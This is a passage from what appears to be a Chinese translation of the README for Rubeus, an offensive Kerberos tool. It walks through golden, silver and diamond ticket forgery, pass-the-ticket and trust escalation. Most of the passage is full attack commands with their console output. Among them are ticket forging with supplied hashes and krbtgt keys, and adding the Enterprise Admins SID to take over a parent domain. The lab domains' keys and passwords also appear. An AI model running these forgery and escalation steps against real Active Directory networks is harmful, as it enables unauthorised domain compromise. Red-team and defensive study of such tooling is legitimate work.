doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 31/07/2021 00:22:38
[*] StartTime : 31/07/2021 00:22:38
[*] EndTime : 31/07/2021 10:22:38
[*] RenewTill : 07/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 01/08/2021 00:22:38
[*] StartTime : 01/08/2021 00:22:38
[*] EndTime : 01/08/2021 10:22:38
[*] RenewTill : 08/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 02/08/2021 00:22:38
[*] StartTime : 02/08/2021 00:22:38
[*] EndTime : 02/08/2021 10:22:38
[*] RenewTill : 09/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
silver 操作为用户 /user:X 和服务 /service:SPN 伪造一个票据,使用 /des:X、/rc4:X、/aes128:X 或 /aes256:X 传递的哈希加密票据,并使用相同的密钥创建 ServerChecksum。如果传递了 /krbkey:X 参数,则会使用该密钥创建 KDCChecksum 和 TicketChecksum(如果服务不是 krbtgt/domain.com,或者 domain.com 与票据中使用的 realm 不同,即它是引用票据);否则,使用与加密票据相同的密钥。如果未传递 krbenctype:X,则假定 KDCChecksum 和 TicketChecksum 使用与服务密钥相同的加密类型。
/cname:X 和 /crealm:X 参数可用于为 EncTicketPart(票据的加密部分)中的这些字段设置不同的值,这在引用委派票据中有时可见。可以通过传递 /s4uproxytarget:X 和 /s4utransitedservices:SPN1,SPN2,... 参数来添加 S4UDelegationInfo PAC 部分,该部分提供了委派的最终目标以及委派经过的 SPN 列表。/authdata 标志可用于向 EncTicketPart 添加一些通用的授权数据部分,默认情况下会包含一个 KERB-LOCAL 部分和一个带有默认值的 KERB-AD-RESTRICTION-ENTRY 部分。
/nofullpacsig 标志将 排除 新的 FullPacChecksum,该校验和是 引入 用于解决 CVE-2022-37967 漏洞的。此签名默认包含在未使用 krbtgt 密钥保护的所有票据中。
使用服务的 RC4 密码哈希,并使用正确的 KRBTGT AES256 密钥签署 KDCChecksum 和 TicketChecksum,通过 LDAP 使用备用凭据获取 PAC 信息,为 cifs/SQL1.rubeus.ghostpack.local 服务伪造服务票据,用户是 ccob:
C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$
用户名或密码错误。
C:\Rubeus>Rubeus.exe silver /service:cifs/SQL1.rubeus.ghostpack.local /rc4:f74b07eb77caa52b8d227a113cb649a6 /ldap /creduser:rubeus.ghostpack.local\Administrator /credpassword:Password1 /user:ccob /krbkey:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /krbenctype:aes256 /domain:rubeus.ghostpack.local /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGS
[*] 正在尝试使用 LDAPS 查询域控制器 PDC1.rubeus.ghostpack.local 上的 LDAP 以获取用户信息
[*] 搜索路径 'DC=rubeus,DC=ghostpack,DC=local' 查找 '(samaccountname=ccob)'
[*] 通过 LDAP 从域控制器 PDC1.rubeus.ghostpack.local 检索组和域策略信息
[*] 搜索路径 'DC=rubeus,DC=ghostpack,DC=local' 查找 '(|(distinguishedname=CN=Domain Admins,CN=Users,DC=rubeus,DC=ghostpack,DC=local)(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] 尝试挂载: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL 成功挂载
[*] 尝试卸载: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL 成功卸载
[*] 通过 LDAP 从域控制器 PDC1.rubeus.ghostpack.local 检索 netbios 名称信息
[!] 无法使用 System.DirectoryServices.ActiveDirectory.Forest 查询林根,假设 rubeus.ghostpack.local 是林根
[*] 搜索路径 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' 查找 '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] 构建 PAC
[*] 域 : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1109
[*] 组 : 512,513
[*] ServiceKey : F74B07EB77CAA52B8D227A113CB649A6
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] 服务 : cifs
[*] 目标 : SQL1.rubeus.ghostpack.local
[*] 生成 EncTicketPart
[*] 签署 PAC
[*] 加密 EncTicketPart
[*] 生成票据
[*] 生成 KERB-CRED
[*] 为 'ccob' 伪造了一个到 'cifs/SQL1.rubeus.ghostpack.local' 的 TGS
[*] AuthTime : 29/07/2021 01:00:23
[*] StartTime : 29/07/2021 01:00:23
[*] EndTime : 29/07/2021 11:00:23
[*] RenewTill : 05/08/2021 01:00:23
[*] base64(ticket.kirbi):
doIFZTCCBWGgAwIBBaEDAgEWooIESDCCBERhggRAMIIEPKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(略)...
bG9jYWw=
[+] 票据成功导入!
C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$
驱动器 \\SQL1.rubeus.ghostpack.local\c$ 中的卷没有标签。
卷的序列号是 1AD6-20BE
\\SQL1.rubeus.ghostpack.local\c$ 的目录
15/09/2018 08:19 <DIR> PerfLogs
20/07/2021 18:17 <DIR> Program Files
20/07/2021 18:17 <DIR> Program Files (x86)
21/07/2021 01:53 <DIR> Rubeus
20/07/2021 21:02 <DIR> temp
20/07/2021 22:31 <DIR> Users
20/07/2021 18:18 <DIR> Windows
0 个文件 0 字节
7 个目录 124,275,159,040 可用字节
为信任域伪造一个引荐 TGT,使用 LDAP 检索 PAC 信息:
C:\Rubeus>Rubeus.exe silver /user:exploitph /ldap /service:krbtgt/dev.rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGS
[*] 正在尝试使用 LDAPS 查询域控制器 PDC1.rubeus.ghostpack.local 上的 LDAP 以获取用户信息
[*] 搜索路径 'DC=rubeus,DC=ghostpack,DC=local' 查找 '(samaccountname=exploitph)'
[*] 通过 LDAP 从域控制器 PDC1.rubeus.ghostpack.local 检索域策略信息
[*] 搜索路径 'DC=rubeus,DC=ghostpack,DC=local' 查找 '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] 尝试挂载: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL 成功挂载
[*] 尝试卸载: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL 成功卸载
[*] 通过 LDAP 从域控制器 PDC1.rubeus.ghostpack.local 检索 netbios 名称信息
[*] 搜索路径 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' 查找 '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] 构建 PAC
[*] 域 : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1104
[*] 组 : 513
[*] ServiceKey : 856A1023055848748E7B9D505EBE0E02
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey : 856A1023055848748E7B9D505EBE0E02
[*] KDCKeyType : KERB_CHECKSUM_HMAC_MD5
[*] 服务 : krbtgt
[*] 目标 : dev.rubeus.ghostpack.local
[*] 生成 EncTicketPart
[*] 签署 PAC
[*] 加密 EncTicketPart
[*] 生成票据
[*] 生成 KERB-CRED
[*] 为 '[email protected]' 伪造了一个 TGT
[*] AuthTime : 29/07/2021 02:45:54
[*] StartTime : 29/07/2021 02:45:54
[*] EndTime : 29/07/2021 12:45:54
[*] RenewTill : 05/08/2021 02:45:54
[*] base64(ticket.kirbi):
doIFojCCBZ6gAwIBBaEDAgEWooIEfjCCBHphggR2MIIEcqADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(略)...
LmxvY2Fs
然后可以使用此票据通过 asktgs 向信任域请求服务票据:
C:\Rubeus>Rubeus.exe asktgs /service:cifs/devdc1.dev.rubeus.ghostpack.local /dc:devdc1.dev.rubeus.ghostpack.local /ticket:doIFojCCBZ6gAwIBBa...(略)...NrLmxvY2Fs
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] 使用域控制器: devdc1.dev.rubeus.ghostpack.local (192.168.71.85)
[*] 请求服务票据的默认 etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1)
[*] 构建 TGS-REQ 请求: 'cifs/devdc1.dev.rubeus.ghostpack.local'
[+] TGS 请求成功!
[*] base64(ticket.kirbi):
doIFrzCCBaugAwIBBaEDAgEWooIEgzCCBH9hggR7MIIEd6ADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ
...(略)...
ZXVzLmdob3N0cGFjay5sb2NhbA==
ServiceName : cifs/devdc1.dev.rubeus.ghostpack.local
ServiceRealm : DEV.RUBEUS.GHOSTPACK.LOCAL
UserName : exploitph
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 29/07/2021 02:51:05
EndTime : 29/07/2021 12:45:54
RenewTill : 05/08/2021 02:45:54
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : v1Bnp3plKCePeRpg1hrtYkI7bPDk6vw5uoj5MBNSThw=
为 [email protected] 伪造一个指向父域 rubeus.ghostpack.local 的引荐 TGT,并包含 Enterprise Admins 组的 SID:
C:\Rubeus>Rubeus.exe silver /user:dev.ccob /ldap /service:krbtgt/rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02 /sids:S-1-5-21-3237111427-1607930709-3979055039-519 /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGS
[*] 正在尝试使用 LDAPS 查询域控制器 DevDC1.dev.rubeus.ghostpack.local 上的 LDAP 以获取用户信息
[*] 搜索路径 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' 查找 '(samaccountname=dev.ccob)'
[*] 通过 LDAP 从域控制器 DevDC1.dev.rubeus.ghostpack.local 检索域策略信息
[*] 搜索路径 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' 查找 '(|(objectsid=S-1-5-21-2065789546-4129202522-221898516-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] 尝试挂载: \\devdc1.dev.rubeus.ghostpack.local\SYSVOL
[*] \\devdc1.dev.rubeus.ghostpack.local\SYSVOL 成功挂载
[*] 尝试卸载: \\devdc1.dev.rubeus.ghostpack.local\SYSVOL
[*] \\devdc1.dev.rubeus.ghostpack.local\SYSVOL 成功卸载
[*] 通过 LDAP 从域控制器 DevDC1.dev.rubeus.ghostpack.local 检索 netbios 名称信息
[*] 搜索路径 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' 查找 '(&(netbiosname=*)(dnsroot=dev.rubeus.ghostpack.local))'
[*] 构建 PAC
[*] 域 : DEV.RUBEUS.GHOSTPACK.LOCAL (DEV)
[*] SID : S-1-5-21-2065789546-4129202522-221898516
[*] UserId : 1107
[*] 组 : 513
[*] ExtraSIDs : S-1-5-21-3237111427-1607930709-3979055039-519
[*] ServiceKey : 856A1023055848748E7B9D505EBE0E02
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey : 856A1023055848748E7B9D505EBE0E02
[*] KDCKeyType : KERB_CHECKSUM_HMAC_MD5
[*] 服务 : krbtgt
[*] 目标 : rubeus.ghostpack.local
[*] 生成 EncTicketPart
[*] 签署 PAC
[*] 加密 EncTicketPart
[*] 生成票据
[*] 生成 KERB-CRED
[*] 为 '[email protected]' 伪造了一个 TGT
[*] AuthTime : 29/07/2021 03:03:34
[*] StartTime : 29/07/2021 03:03:34
[*] EndTime : 29/07/2021 13:03:34
[*] RenewTill : 05/08/2021 03:03:34
[*] base64(ticket.kirbi):
doIF0TCCBc2gAwIBBaEDAgEWooIEqTCCBKVhggShMIIEnaADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ
...(略)...
G9zdHBhY2subG9jYWw=
然后可以使用此引荐 TGT 通过 asktgs 命令请求 rubeus.ghostpack.local 中服务的服务票据,并获得 Enterprise Admins 组的权限:
C:\Rubeus>Rubeus.exe asktgs /service:cifs/pdc1.rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /ptt /ticket:doIF0TCCBc2gAwIBBaE...(略)...cy5naG9zdHBhY2subG9jYWw=
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] 使用域控制器: pdc1.rubeus.ghostpack.local (192.168.71.80)
[*] 请求服务票据的默认 etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1)
[*] 构建 TGS-REQ 请求: 'cifs/pdc1.rubeus.ghostpack.local'
[+] TGS 请求成功!
[+] 票据成功导入!
[*] base64(ticket.kirbi):
doIF9zCCBfOgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(略)...
ZnMbG3BkYzEucnViZXVzLmdob3N0cGFjay5sb2NhbA==
ServiceName : cifs/pdc1.rubeus.ghostpack.local
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : dev.ccob
UserRealm : DEV.RUBEUS.GHOSTPACK.LOCAL
StartTime : 29/07/2021 03:04:26
EndTime : 29/07/2021 13:03:34
RenewTill : 05/08/2021 03:03:34
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : lQGdcWT5/cacHGFko3fDJvF9poFK+tH5hctlDN89peY=
C:\Rubeus>dir \\pdc1.rubeus.ghostpack.local\c$
驱动器 \\pdc1.rubeus.ghostpack.local\c$ 中的卷没有标签。
卷的序列号是 3C5F-0EF1
\\pdc1.rubeus.ghostpack.local\c$ 的目录
30/06/2021 02:13 <DIR> inetpub
15/09/2018 08:19 <DIR> PerfLogs
09/06/2021 17:45 <DIR> Program Files
09/06/2021 17:45 <DIR> Program Files (x86)
14/07/2021 01:18 <DIR> Rubeus
19/07/2021 20:48 <DIR> temp
30/06/2021 02:14 <DIR> Users
14/07/2021 02:17 <DIR> Windows
0 个文件 0 字节
8 个目录 94,901,772,288 可用字节
diamond 操作通过修改使用给定参数为用户请求的 TGT 来伪造一个钻石 TGT。首先,将为指定的用户和加密密钥(/rc4、/aes128、/aes256 或 /des)请求一个 TGT。也可以使用 /password 标志代替哈希——在这种情况下,/enctype:X 将默认为交换使用 RC4,选项有 des|aes128|aes256。或者,支持使用 /certificate:X 参数进行 PKINIT 认证。当 PFX 文件中的私钥受密码保护时,可以使用 /password:X 参数传递此密码。最后,可以传递 /tgtdeleg 标志以使用 tgtdeleg 技巧请求 TGT。/krbkey:X 参数用于解密票据,在更改后重新签名,并重新加密票据。
如果没有指定 /domain,则提取计算机的当前域;如果没有指定 /dc,则同样提取系统当前域控制器的信息。/ptt 标志将“传递票据”并将生成的 Kerberos 凭据应用于当前登录会话。/luid:0xA.. 标志将票据应用于指定的登录会话 ID(需要提升权限)而不是当前登录会话。
请注意,在主机上请求 TGT 或将其应用于 当前 登录会话不需要提升权限,只需要目标用户的正确哈希即可。另外,另一个操作安全提示:每次只能将一个 TGT 应用于当前登录会话,因此在使用 /ptt 选项应用新票据时,之前的 TGT 会被清除。一种解决方法是使用 /createnetonly:C:\X.exe 参数(默认情况下隐藏进程,除非指定了 /show 标志),或者请求票据并使用 ptt /luid:0xA.. 将其应用于另一个登录会话。
/ticketuser:X 参数用于指定在修改后的票据中使用的用户名,/ticketuserid:# 指定用户的 RID,/groups:RID1,RID2... 指定票据的组,/sids:SID1,SID2... 指定要包含在 ExtraSIDs 字段中的 SID。
使用用户名和密码创建钻石 TGT:
C:\Rubeus>Rubeus.exe diamond /krbkey:3111b43b220d2f4eb8e68fe7be1179ce69328c9071cba14bef4dbb02b1cfeb9c /user:loki /password:Mischief$ /enctype:aes /domain:marvel.local /dc:earth-dc.marvel.local /ticketuser:thor /ticketuserid:1104 /groups:512
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.1.1
[*] Action: Diamond Ticket
[*] 使用域控制器: earth-dc.marvel.local (10.1.1.11)
[!] 需要预认证!
[!] AES256 Salt: MARVEL.LOCALloki
[*] 使用 aes256_cts_hmac_sha1 哈希: 8A90D4F4E8698E76FA014C97A539C1083EDDCB5A281B1274568758FB999DFCE7
[*] 构建 AS-REQ (带预认证) 用于: 'marvel.local\loki'
[*] 使用域控制器: 10.1.1.11:88
[+] TGT 请求成功!
[*] base64(ticket.kirbi):
doIFejCCBXagAwIBBaEDAgEWooIEgzCCBH9hggR7MIIEd6ADAgEFoQ4bDE1BUlZFTC5MT0NBTKIhMB+g
...(略)...
oRgwFhsGa3JidGd0GwxNQVJWRUwuTE9DQUw=
[*] 解密 TGT
[*] 检索 PAC
[*] 修改 PAC
[*] 签署 PAC
[*] 加密修改后的 TGT
[*] base64(ticket.kirbi):
doIFajCCBWagAwIBBaEDAgEWooIEczCCBG9hggRrMIIEZ6ADAgEFoQ4bDE1BUlZFTC5MT0NBTKIhMB+g
...(略)...
UlZFTC5MT0NBTA==
使用 tgtdeleg 技巧创建钻石 TGT:
C:\Rubeus>Rubeus.exe diamond /krbkey:3111b43b220d2f4eb8e68fe7be1179ce69328c9071cba14bef4dbb02b1cfeb9c /tgtdeleg /ticketuser:thor /ticketuserid:1104 /groups:512
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.1.1
[*] Action: Diamond Ticket
[*] 未指定目标 SPN,尝试构建 'cifs/dc.domain.com'
[*] 初始化 Kerberos GSS-API,使用虚假委派为目标 'cifs/Earth-DC.marvel.local'
[+] Kerberos GSS-API 初始化成功!
[+] 委派请求成功!AP-REQ 委派票据现在位于 GSS-API 输出中。
[*] 在 GSS-API 输出中找到 AP-REQ 委派票据。
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] 从票据缓存中提取了服务票据会话密钥: imNrWVWRhlB61dUk5EWEdQL7DgqBQ/UckUs9pBvw6JU=
[+] 成功解密验证器
[*] base64(ticket.kirbi):
doIFejCCBXagAwIBBaEDAgEWooIEgzCCBH9hggR7MIIEd6ADAgEFoQ4bDE1BUlZFTC5MT0NBTKIhMB+g
...(略)...
oRgwFhsGa3JidGd0GwxNQVJWRUwuTE9DQUw=
[*] 解密 TGT
[*] 检索 PAC
[*] 修改 PAC
[*] 签署 PAC
[*] 加密修改后的 TGT
[*] base64(ticket.kirbi):
doIFajCCBWagAwIBBaEDAgEWooIEczCCBG9hggRrMIIEZ6ADAgEFoQ4bDE1BUlZFTC5MT0NBTKIhMB+g
...(略)...
UlZFTC5MT0NBTA==
票据管理命令的细分:| 命令 | 描述 | | ----------- | ----------- | | ptt | 向当前(或指定)登录会话应用票据 | | purge | 清除当前(或指定)登录会话的 Kerberos 票据 | | describe | 描述 base64 编码的票据块或 .kirbi 文件 |
ptt 操作将通过带有 KERB_SUBMIT_TKT_REQUEST 消息的 LsaCallAuthenticationPackage() API,将 /ticket:X(TGT 或服务票据)提交到当前登录会话,或者(如果已提权)提交到由 /luid:0xA.. 指定的登录会话。与其他 /ticket:X 参数一样,值可以是 .kirbi 文件的 base64 编码,也可以是磁盘上 .kirbi 文件的路径。
C:\Rubeus>Rubeus.exe ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWoo..(snip)..
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: List Kerberos Tickets (Current User)
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/11/2019 2:55:18 PM ; 2/11/2019 7:55:18 PM ; 2/18/2019 2:55:18 PM
Server Name : krbtgt/testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000)
提权后向其他登录会话应用票据:
C:\Rubeus>Rubeus.exe klist /luid:0x474722b
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: List Kerberos Tickets (All Users)
[*] Target LUID : 0x474722b
UserName : patsy
Domain : TESTLAB
LogonId : 0x474722b
| 命令 | 描述 |
|---|
| asktgt | 从哈希/密钥或密码请求票据授予票据(TGT) |
| asktgs | 从传递的 TGT 请求服务票据 |
| renew | 续订(或自动续订)TGT 或服务票据 |
| brute | 执行基于 Kerberos 的密码暴力破解攻击。'spray' 也可用于代替 'brute' |
| preauthscan | 扫描不需要 Kerberos 预身份验证的账户 |
| 参数 | 描述 |
|---|
| /authtime | 设置 EncTicketPart 中的 authtime 字段。使用本地时间格式 - 会自动转换为 UTC(默认值:当前时间) |
| /starttime | 设置 EncTicketPart 中的 starttime 字段。使用本地时间格式 - 会自动转换为 UTC(默认值:当前时间) |
| /endtime | 设置 EncTicketPart 中的 endtime 字段。这是相对于 starttime 的,格式为乘数加时间范围,例如 5 天表示为 5d。有关此格式的更多信息见下文(默认值:10h) |
| /renewtill | 设置 EncTicketPart 中的 renew-till 字段。这是相对于 starttime 的,格式为乘数加时间范围,例如 5 天表示为 5d。有关此格式的更多信息见下文(默认值:7d) |
| /rangeend | 用于创建多个在不同时间开始的票据。这是最后一个 starttime,相对于 /starttime,格式为乘数加时间范围,例如 5 天表示为 5d。有关此格式的更多信息见下文 |
| /rangeinterval | 用于创建多个在不同时间开始的票据。这是每个 starttime 之间的间隔,格式为乘数加时间范围,例如 5 天表示为 5d。有关此格式的更多信息见下文 |
| /flags | 设置 EncTicketPart 中的票据标志(默认值:forwardable,renewable,pre_authent;对于 golden 还包括 initial) |
| /extendedupndns | 包含新的扩展 UpnDns(其中包含 samaccountname 和帐户 SID) |